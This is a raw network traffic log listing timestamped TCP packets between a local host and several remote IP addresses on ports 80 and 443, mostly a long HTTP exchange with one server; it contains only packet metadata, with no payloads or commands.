Nov 28, 2024 00:19:48.246117115 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.246172905 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246248960 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246258020 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.246337891 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246493101 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246520042 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.246573925 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246676922 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246716976 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.246922016 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246954918 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246968031 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.247052908 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.247066975 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.247200012 CET	49886	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.247211933 CET	443	49886	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.247369051 CET	49887	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.247379065 CET	443	49887	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.247517109 CET	49888	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.247534990 CET	443	49888	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.247674942 CET	49889	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.247688055 CET	443	49889	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.261571884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.261641026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.261672020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.261672020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.262120008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.262164116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.262223005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.262367010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.262788057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.262840986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.262841940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.262881994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.263710022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.263849974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.263869047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.263988972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.264482975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.264525890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.264677048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.264806032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.265270948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.265316010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.265470028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.265515089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.266115904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.266211033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.266345978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.266391039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.266931057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.266973019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.266985893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.267045021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.267731905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.267827988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.267874956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.268594980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.268646955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.268693924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.268757105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.269439936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.269479990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.269536018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.269576073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.270224094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.270276070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.270370007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.270514011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.271042109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.271099091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.271101952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.271236897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.271874905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.271936893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.272080898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.272125959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.272697926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.272754908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.272825956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.272861958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.273593903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.273643017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.273685932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.273739100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.274388075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.274449110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.274522066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.274564028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.275178909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.275234938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.275250912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.275535107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.276041031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.276103020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.276161909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.276838064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.276907921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.276952028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.277743101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.277784109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.277795076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.277832985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.278506041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.278567076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.278614998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.278724909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.279326916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.279407024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.279428005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.279465914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.280147076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.280209064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.280256033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.280292988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.280962944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.281019926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.281106949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.281191111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.281836987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.281940937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.281940937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.281976938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.282655954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.282675982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.282701015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.282722950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.294102907 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.294478893 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.294506073 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.295578003 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.295653105 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.300682068 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.300762892 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.300976992 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.300992012 CET	443	49876	23.49.251.229	192.168.2.6
Nov 28, 2024 00:19:48.361161947 CET	49876	443	192.168.2.6	23.49.251.229
Nov 28, 2024 00:19:48.394985914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.395087004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.395234108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.395462990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.395525932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.395551920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.396234989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.396296024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.396320105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.396852970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.397027969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.397181988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.397195101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.397262096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.397893906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.397965908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.397989988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.398710966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.398793936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.398818970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.399178028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.399538994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.399668932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.399844885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.400386095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.400473118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.400526047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.401196957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.401307106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.401333094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.401407957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.402019978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.402132988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.402414083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.402847052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.402993917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.403007984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.403122902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.403670073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.403728008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.403909922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.404515982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.404608965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.404614925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.404700994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.405335903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.405453920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.405502081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.405611038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.406131029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.406235933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.406271935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.407094955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.407105923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.407493114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.407769918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.407963037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.407984018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.408080101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.408618927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.408684015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.408706903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.409491062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.409636974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.409679890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.410339117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.410415888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.410439968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.410803080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.411123991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.411212921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.411237001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.411303043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.411922932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.412034035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.412035942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.412117004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.412731886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.412839890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.412849903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.412986040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.413583994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.413662910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.413692951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.414386988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.414531946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.414558887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.414913893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.415222883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.415370941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.415452957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.415504932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.416060925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.416131973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.416270018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.425230026 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.425673962 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.425725937 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.427529097 CET	49874	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.427541018 CET	443	49874	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.453646898 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.455998898 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.456023932 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.460211992 CET	49873	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:48.460216999 CET	443	49873	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:48.472044945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.472059011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.472381115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.472405910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.472543001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.473247051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.473273993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.473319054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.473386049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.473386049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.474042892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.474080086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.474113941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.474148035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.474869967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.474916935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.474955082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.475702047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.475728035 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.475792885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.475821018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.476533890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.476610899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.476639986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.477350950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.477469921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.477489948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.477775097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.478188992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.478374958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.478391886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.478673935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.478965998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.479036093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.479058981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.479671001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.479821920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.479940891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.479964018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.480633974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.480717897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.480746031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.480952978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.481467962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.481635094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.481677055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.481767893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.482294083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.482492924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.483153105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.483182907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.483234882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.483261108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.483984947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.484071970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.484097004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.484771967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.484848976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.484873056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.485519886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.485627890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.485769987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.485795975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.485861063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.486455917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.486546993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.487278938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.487307072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.487307072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.487431049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.488048077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.488270998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.488606930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.488889933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.489034891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.489036083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.489522934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.489715099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.489818096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.489831924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.490397930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.490571022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.490645885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.490650892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.491302967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.491401911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.491512060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.491530895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.492213011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.492340088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.492367983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.493068933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.493135929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.493160963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.493484974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.513839006 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.516803026 CET	443	49857	13.107.246.40	192.168.2.6
